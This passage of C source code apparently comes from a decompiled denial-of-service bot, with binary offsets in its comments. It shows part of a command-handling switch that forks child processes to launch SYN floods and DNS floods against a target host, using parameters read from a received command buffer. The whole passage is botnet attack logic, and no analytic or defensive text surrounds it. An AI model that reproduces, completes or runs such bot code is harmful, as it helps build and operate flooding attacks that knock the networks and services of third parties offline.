hostnamebuf[i] = hostnamebuf[i + 14]; do_synflood(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], cmdbuf[6], cmdbuf[7], cmdbuf[8], cmdbuf[9], cmdbuf[10], cmdbuf[11], cmdbuf[12], 0, cmdbuf[13], hostnamebuf); exit(0); case CMD_SYNFLOOD_STEPPED: /* offset 0x08048D08 */ if (child_pid) break; child_cmd = 11; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) hostnamebuf[i] = hostnamebuf[i + 15]; do_synflood(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], cmdbuf[6], cmdbuf[7], cmdbuf[8], cmdbuf[9], cmdbuf[10], cmdbuf[11], cmdbuf[12], cmdbuf[13], cmdbuf[14], hostnamebuf); exit(0); case CMD_DNSFLOOD_DIRECT: /* offset 0x08048DE4 */ if (child_pid) break; child_cmd = 12; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) hostnamebuf[i] = hostnamebuf[i + 14]; do_dnsflood_direct(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], cmdbuf[6], cmdbuf[7], cmdbuf[8], cmdbuf[9], cmdbuf[10], cmdbuf[11], cmdbuf[12], cmdbuf[13], hostnamebuf); exit(0); } } }